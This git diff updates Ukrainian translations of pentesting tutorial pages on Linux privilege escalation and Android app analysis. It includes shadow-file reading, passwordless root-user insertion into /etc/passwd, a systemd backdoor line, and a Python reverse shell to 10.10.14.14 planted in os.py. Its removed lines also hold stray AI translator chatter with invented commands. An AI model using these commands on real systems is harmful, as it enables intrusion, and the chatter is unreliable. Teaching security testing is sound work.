**знайти всі** та **перевірити, чи можете їх прочитати**, щоб побачити, **чи є в файлах хеші**: +Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або існувати їхні резервні копії. Тому рекомендовано **знайти всі такі файли** та **перевірити, чи можна їх прочитати**, щоб побачити, **чи є в них хеші**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Іноді можна знайти **password hashes** у файлі `/etc/passwd` (або еквівалентному). +У деяких випадках у файлі `/etc/passwd` (або еквівалентному) можна знайти **password hashes**. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Записуваний /etc/passwd +### Файл /etc/passwd доступний для запису -Спочатку згенеруйте пароль за допомогою однієї з наступних команд. +Спочатку згенеруйте пароль за допомогою однієї з наведених команд. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Будь ласка, надішліть вміст файлу src/linux-hardening/privilege-escalation/README.md, який потрібно перекласти. - -Я згенерував пароль для користувача hacker: y7$T9fK#2qVb&8mZpL4w - -Якщо ви хочете, щоб я додав у переклад приклад команд для створення користувача та встановлення цього пароля, ось безпечний приклад (не виконую команди на вашій машині — лише показую інструкції): - -sudo useradd -m -s /bin/bash hacker -echo 'hacker:y7$T9fK#2qVb&8mZpL4w' | sudo chpasswd -sudo usermod -aG sudo hacker -sudo chage -d 0 hacker - -Куди вставити цей блок у перекладеному файлі (в кінець або інше місце)? +Потім додайте користувача `hacker` і встановіть згенерований пароль. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Тепер ви можете використовувати команду `su` з обліковими даними `hacker:hacker` +Тепер ви можете використовувати команду `su` з `hacker:hacker` -Альтернативно, ви можете використати наведені нижче рядки, щоб додати фіктивного користувача без пароля.\ -УВАГА: ви можете погіршити поточну безпеку машини. +Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ +УВАГА: це може погіршити поточну безпеку машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ПРИМІТКА: На платформах BSD `/etc/passwd` розташований за `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. +ПРИМІТКА: На BSD-платформах `/etc/passwd` знаходиться в `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано в `/etc/spwd.db`. -Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в який-небудь **файл конфігурації сервісу**? +Ви повинні перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Наприклад, якщо на машині працює сервер **tomcat**, і ви можете **modify the Tomcat service configuration file inside /etc/systemd/,** то ви можете змінити рядки: +Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat у /etc/systemd/,** тоді ви можете змінити рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ваш backdoor виконається наступного разу, коли tomcat буде запущено. +Ваш backdoor буде виконано при наступному запуску tomcat. ### Перевірте папки -Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останню, але спробуйте) +Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Незвичне розташування/Owned файли +### Дивне розташування/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1325,11 +1314,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Файли, змінені за останні хвилини +### Змінені файли за останні хвилини ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB файли +### Файли Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1341,12 +1330,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries у PATH** +### **Скрипти/Бінарні файли в PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Веб-файли** +### **Web файли** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1357,22 +1346,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Відомі файли, що містять passwords +### Відомі файли, що містять паролі -Прочитайте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити passwords**.\ -**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це додаток з відкритим кодом, що використовується для отримання великої кількості passwords, збережених на локальному комп'ютері для Windows, Linux & Mac. +Прочитайте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **декілька можливих файлів, які можуть містити паролі**.\ +**Інший цікавий інструмент**, який ви можете використовувати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим кодом, яка використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. -### Logs +### Логи -Якщо ви можете читати logs, можливо, ви зможете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший log, тим цікавішим він буде (ймовірно).\ -Також деякі "**bad**" налаштовані (backdoored?) **audit logs** можуть дозволити вам **записувати passwords** всередині audit logs, як пояснено в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Якщо ви можете читати логи, ви можете знайти **цікаву/конфіденційну інформацію всередині них**. Чим дивніший лог, тим цікавішим він, ймовірно, буде.\ +Також деякі "**погано**" налаштовані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснюється в цьому дописі: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Щоб читати логи, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. +Щоб **читати logs**, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. -### Shell файли +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1385,41 +1374,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -Вам також слід перевіряти файли, що містять слово "**password**" у своєму **назві** або в **змісті**, а також перевіряти IPs та emails у логах або регулярні вирази для хешів.\ -Я не збираюся тут перелічувати, як робити все це, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Варто також перевіряти файли, які містять слово "**password**" у своїй **назві** або всередині **вмісту**, а також шукати IP-адреси та email-и у логах, або хеші за регулярними виразами.\ +Я не буду тут перераховувати, як робити все це, але якщо цікаво, можна перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Файли, доступні для запису ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +Якщо ви знаєте **звідки** буде виконано python-скрипт і ви **можете записувати всередині** тієї папки або можете **змінювати python бібліотеки**, ви можете модифікувати бібліотеку os і backdoor її (якщо ви можете записувати туди, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py). To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Експлуатація Logrotate -Уразливість в `logrotate` дозволяє користувачам з **write permissions** на лог-файл або його батьківські директорії потенційно отримати підвищені привілеї. Це тому, що `logrotate`, часто запущений як **root**, може бути підманіпульований для виконання довільних файлів, особливо в директоріях на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не тільки в _/var/log_, але й у будь-якій директорії, де застосовується rotація логів. +Уразливість у `logrotate` дозволяє користувачам з **правами запису** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це відбувається тому, що `logrotate`, який часто запускається як **root**, можна змусити виконати довільні файли, особливо в директоріях типу _**/etc/bash_completion.d/**_. Важливо перевіряти права не тільки в _/var/log_, а й у будь-якій директорії, де застосовується ротація логів. > [!TIP] -> Ця уразливість зачіпає `logrotate` версії `3.18.0` та старіші +> Ця вразливість впливає на `logrotate` версії `3.18.0` та старіші -Більш детальну інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Більш детальну інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Ви можете експлуатувати цю уразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). +Ви можете експлуатувати цю вразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). -Ця уразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тож коли ви виявите, що можете змінювати логи, перевірте, хто управляє тими логами, і чи можна підвищити привілеї, замінивши логи на symlinks. +Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви виявляєте можливість змінювати логи, перевірте, хто керує цими логами, і чи можна ескалювати привілеї, замінивши логи symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Якщо, з якоїсь причини, користувач може **write** скрипт `ifcf-` в _/etc/sysconfig/network-scripts_ **or** може **adjust** існуючий, то ваша **system is pwned**. +Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-` в _/etc/sysconfig/network-scripts_ **або** може **підправити** існуючий, то ваша **система pwned**. -Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони \~sourced\~ в Linux Network Manager (dispatcher.d). +Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони ~sourced~ на Linux Network Manager (dispatcher.d). -У моєму випадку атрибут `NAME=` в цих мережевих скриптах обробляється некоректно. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. Це означає, що **everything after the first blank space is executed as root**. +У моєму випадку атрибут `NAME=` в цих мережевих скриптах оброблявся некоректно. Якщо в імені є **пробіл/blank space**, система намагається виконати частину після пробілу. Це означає, що **все після першого пробілу виконується як root**. Наприклад: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1427,17 +1416,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(Примітка: пробіл між Network та /bin/id_) +(_Зверніть увагу на пробіл між Network і /bin/id_) -### **init, init.d, systemd, та rc.d** +### **init, init.d, systemd, and rc.d** -Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи керування сервісами Linux**. Він містить скрипти для `start`, `stop`, `restart`, а іноді й `reload` сервісів. Ці скрипти можна виконувати безпосередньо або через символічні посилання, що знаходяться в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. +Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit) — **класичної системи управління сервісами в Linux**. Він включає скрипти для `start`, `stop`, `restart`, а іноді й `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. -Натомість `/etc/init` пов'язаний з **Upstart**, новішою системою **service management**, запровадженою в Ubuntu, яка використовує конфігураційні файли для керування сервісами. Незважаючи на перехід до Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart. +З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, представленою в Ubuntu, яка використовує конфігураційні файли для керування сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart. -**systemd** є сучасним ініціалізатором та менеджером сервісів, що пропонує розширені можливості, такі як запуск демонів за потреби, керування automount та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для пакетів дистрибуції та в `/etc/systemd/system/` для змін адміністратора, спрощуючи адміністрування системи. +**systemd** постає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені можливості, такі як запуск daemon за запитом, керування automount та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для пакетів дистрибутива та `/etc/systemd/system/` для змін адміністратора, спрощуючи адміністрування системи. -## Other Tricks +## Інші трюки ### NFS Privilege escalation @@ -1462,7 +1451,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks часто підмінюють syscall, щоб надати привілейовану функціональність ядра userspace manager'у. Слабка аутентифікація manager'а (наприклад, перевірки підпису, що базуються на FD-order, або слабкі схеми паролів) може дозволити локальній аплікації видаватися за manager і escalate до root на пристроях, що вже мають root. Дізнайтесь більше та деталі експлуатації тут: {{#ref}} @@ -1474,7 +1463,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Додаткова допомога [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 6884e327d..233215b01 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Основи додатків Android -Рекомендується почати з цієї сторінки, щоб дізнатися про **найважливіші аспекти, пов'язані з безпекою Android, та найбільш небезпечні компоненти в Android-додатку**: +Рекомендується почати з прочитання цієї сторінки, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, та найнебезпечніші компоненти в Android-додатку**: {{#ref}} @@ -13,23 +13,23 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Це основний інструмент, який потрібен для підключення до Android-пристрою (емульований або фізичний).\ -**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дає змогу **копіювання** файлів у обох напрямках, **встановлення** та **видалення** додатків, **виконання** shell-команд, **резервного копіювання** даних, **читання** логів та інші функції. +Це головний інструмент, який потрібен, щоб підключитися до пристрою Android (емулятор або фізичний).\ +**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дозволяє **копіювання** файлів в обох напрямках, **встановлення** та **видалення** додатків, **виконання** shell-команд, **резервне копіювання** даних, **читання** логів та інші функції. -Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як використовувати adb. +Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як користуватися adb. ## Smali -Іноді цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (наприклад, сильно обфусковані паролі або flags). Тоді може бути цікаво декомпілювати the apk, змінити код і рекомпілювати його.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисним як **альтернатива для деяких тестів під час dynamic analysis**, які будуть представлені. Тому завжди пам'ятайте про цю можливість. +Іноді цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (наприклад, сильно обфусцованих паролів або flags). Тоді може бути корисно декомпілювати apk, змінити код і перекомпілювати його.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди майте на увазі цю можливість**. -## Інші цікаві прийоми +## Інші цікаві трюки - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Завантажити APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Витягнути APK з пристрою: ```bash adb shell pm list packages @@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Статичний аналіз +## Static Analysis -По-перше, для аналізу APK слід **переглянути Java код** за допомогою декомпілятора.\ -Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні декомпілятори**](apk-decompilers.md). +Перш за все, для аналізу APK слід **подивитися Java код** за допомогою декомпілятора.\ +Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні decompilers**](apk-decompilers.md). ### Пошук цікавої інформації -Просто переглянувши **strings** APK, ви можете шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** та все, що здається цікавим... шукайте навіть code execution **backdoors** або authentication backdoors (hardcoded admin credentials to the app). +Просто переглянувши **strings** APK, ви можете шукати **паролі**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** і все, що може бути цікавим... шукайте навіть кодові виконувані **backdoors** або бекдори автентифікації (хардкодені admin credentials для додатку). **Firebase** -Зверніть особливу увагу на **firebase URLs** та перевірте, чи вони не неправильно налаштовані. [Більше інформації про те, що таке Firebase і як це експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Зверніть особливу увагу на **Firebase URLs** і перевірте, чи коректно він налаштований. [Більше інформації про те, що таке Firebase і як це експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Базове розуміння додатку - Manifest.xml, strings.xml +### Базове розуміння застосунку - Manifest.xml, strings.xml -Огляд файлів _Manifest.xml_ і _strings.xml_ додатку може виявити потенційні вразливості безпеки. Ці файли можна отримати за допомогою декомпілятора або перейменувавши розширення файлу APK на .zip та розпакувавши його. +**Перевірка файлів _Manifest.xml_ та _strings.xml_ додатку може виявити потенційні вразливості безпеки**. До цих файлів можна отримати доступ за допомогою decompilers або перейменувавши розширення APK на .zip і розпакувавши його. -**Вразливості**, виявлені у **Manifest.xml**, включають: +**Вразливості**, які можна визначити з **Manifest.xml**, включають: -- **Debuggable Applications**: Додатки, встановлені як debuggable (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють підключення, які можуть призвести до експлуатації. Для детальнішого розуміння того, як експлуатувати debuggable-додатки, зверніться до керівництва з пошуку та експлуатації debuggable-додатків на пристрої. -- **Backup Settings**: Атрибут `android:allowBackup="false"` повинен бути явно встановлений для додатків, які працюють з чутливою інформацією, щоб запобігти несанкціонованому створенню бекапів через adb, особливо коли увімкнено usb debugging. -- **Network Security**: Користувацькі конфігурації мережевої безпеки (`android:networkSecurityConfig="@xml/network_security_config"`) в _res/xml/_ можуть визначати деталі безпеки, такі як certificate pins та налаштування HTTP-трафіку. Приклад — дозволення HTTP-трафіку для конкретних доменів. -- **Exported Activities and Services**: Виявлення exported activities та services у маніфесті може вказати на компоненти, якими можна зловживати. Подальший аналіз під час динамічного тестування може показати, як експлуатувати ці компоненти. +- **Debuggable Applications**: Додатки, вказані як debuggable (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють підключення, що може призвести до експлуатації. Для детальнішого розуміння того, як використовувати debuggable додатки, зверніться до навчального матеріалу про знаходження і експлуатацію debuggable додатків на пристрої. +- **Backup Settings**: Атрибут `android:allowBackup="false"` має бути явно вказаний для додатків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли USB debugging увімкнено. +- **Network Security**: Користувацькі конфігурації network security (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як certificate pins і налаштування HTTP трафіку. Приклад — дозволити HTTP трафік для певних доменів. +- **Exported Activities and Services**: Виявлення exported activities та services у манифесті може вказати на компоненти, які можуть бути неправильно використані. Подальший аналіз під час dynamic testing може показати, як експлуатувати ці компоненти. - **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або модифікацію даних. Конфігурацію FileProviders також слід ретельно перевірити. -- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації; зверніть особливу увагу на те, як обробляються URL schemes щодо вразливостей при прийомі вводу. -- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion`, та `maxSdkVersion` вказують підтримувані версії Android, що підкреслює важливість не підтримувати застарілі, вразливі версії Android з міркувань безпеки. +- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, зверніть особливу увагу на те, як URL schemes обробляються щодо уразливостей введення. +- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують підтримувані версії Android, підкреслюючи важливість відмови від підтримки застарілих, вразливих версій Android з міркувань безпеки. -З файлу **strings.xml** можна виявити чутливу інформацію, таку як API keys, custom schemas та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів. +У файлі **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші нотатки розробника, що підкреслює необхідність ретельного перегляду цих ресурсів. ### Tapjacking -**Tapjacking** — це атака, коли **malicious** **application** запускається і **розміщується поверх додатку-жертви**. Коли воно візуально перекриває додаток-жертву, його інтерфейс користувача спроектовано так, щоб обдурити користувача і змусити його взаємодіяти з ним, при цьому взаємодія передається додатку-жертві.\ -Внаслідок цього користувач **не бачить, що фактично виконує дії в додатку-жертві**. +**Tapjacking** — це атака, коли **шкідливий** **додаток** запускається і **розміщується поверх застосунку-жертви**. Коли він візуально перекриває додаток-жертву, його інтерфейс спроектований так, щоб обдурити користувача і змусити його взаємодіяти з ним, при цьому взаємодія передається у додаток-жертву.\ +Фактично це **приосліплює користувача**, через що він не знає, що насправді виконує дії у додатку-жертві. -Детальніше у: +Дізнайтеся більше у: {{#ref}} @@ -104,91 +104,91 @@ tapjacking.md ### Task Hijacking -Активність (**activity**) з **`launchMode`**, встановленим у **`singleTask` без визначеного `taskAffinity`**, вразлива до task Hijacking. Це означає, що шкідливий **application** може бути встановлений і, якщо його запустити перед справжнім додатком, він може **перехопити task справжнього додатку** (тобто користувач буде взаємодіяти зі **malicious application, думаючи, що використовує справжній**). +Активність з `launchMode`, встановленим у **`singleTask` без визначеного `taskAffinity`**, вразлива до Task Hijacking. Це означає, що **шкідливий додаток** може бути встановлений і якщо він буде запущений перед реальним додатком, він може **перехопити task реального додатку** (тому користувач взаємодіятиме зі **шкідливим додатком, думаючи, що це реальний**). -Детальніше у: +Детальніше тут: {{#ref}} android-task-hijacking.md {{#endref}} -### Ненадійне зберігання даних +### Небезпечне зберігання даних **Внутрішнє сховище** -В Android файли, **збережені** у **внутрішньому** сховищі, **створені** так, щоб бути **доступними** виключно для **додатку**, який їх **створив**. Цей механізм безпеки **забезпечується** операційною системою Android і зазвичай достатній для потреб більшості додатків. Проте розробники іноді використовують режими на кшталт `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** спільний доступ до файлів між різними додатками. Ці режими, однак, **не обмежують доступ** до цих файлів з боку інших додатків, включно з потенційно шкідливими. +В Android файли, **збережені** у **internal** storage, **призначені** для доступу виключно тим **додатком**, який їх **створив**. Цей захід безпеки **застосовується** операційною системою Android і зазвичай достатній для потреб більшості додатків. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **бути доступними** між різними додатками. Ці режими, проте, **не обмежують доступ** до файлів іншими додатками, включно з потенційно шкідливими. -1. **Статичний аналіз:** -- **Переконайтесь**, що використання `MODE_WORLD_READABLE` та `MODE_WORLD_WRITABLE` **ретельно проаналізовано**. Ці режими **можуть потенційно піддавати** файли небажаному або несанкціонованому доступу. -2. **Динамічний аналіз:** -- **Перевірте** права доступу до файлів, створених додатком. Зокрема, **перевірте**, чи будь-які файли не встановлені як доступні для читання або запису для всіх. Це може становити серйозний ризик безпеки, оскільки дозволяє **будь-якому додатку**, встановленому на пристрої, незалежно від його походження чи намірів, **читати або змінювати** ці файли. +1. **Static Analysis:** +- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевірено**. Ці режими **можуть потенційно відкрити** файли для **непередбачуваного або несанкціонованого доступу**. +2. **Dynamic Analysis:** +- **Перевірте** дозволи, встановлені на файлах, створених додатком. Зокрема, **перевірте**, чи будь-які файли **налаштовані як readable або writable worldwide**. Це може створити значний ризик безпеки, оскільки дозволить **будь-якому встановленому додатку** на пристрої, незалежно від його походження або намірів, **читати або змінювати** ці файли. **Зовнішнє сховище** -Працюючи з файлами на **external storage**, наприклад SD-карті, слід дотримуватися певних застережень: +При роботі з файлами на **external storage**, таких як SD Card, слід враховувати такі запобіжні заходи: 1. **Доступність**: -- Файли на external storage **загально доступні для читання і запису**. Це означає, що будь-який додаток або користувач може отримати доступ до цих файлів. +- Файли на external storage **доступні для читання і запису глобально**. Це означає, що будь-який додаток або користувач може отримати до них доступ. 2. **Проблеми безпеки**: -- Через легкість доступу не рекомендується **зберігати чутливу інформацію** на external storage. -- External storage може бути видалене або доступне будь-якому додатку, що робить його менш безпечним. -3. **Опрацювання даних із external storage**: -- Завжди **виконуйте валідацію вводу** для даних, отриманих із external storage. Це критично, оскільки дані походять з ненадійного джерела. -- Категорично не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження. -- Якщо ваш додаток все ж має отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед динамічним завантаженням. Цей крок важливий для збереження цілісності безпеки додатку. +- Через простоту доступу не рекомендується **зберігати чутливу інформацію** на external storage. +- External storage може бути вилучене або доступне будь-якому додатку, що робить його менш безпечним. +3. **Обробка даних з external storage**: +- Завжди **виконуйте валідацію введення** для даних, отриманих з external storage. Це критично, оскільки такі дані походять з недовіреного джерела. +- Не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження. +- Якщо 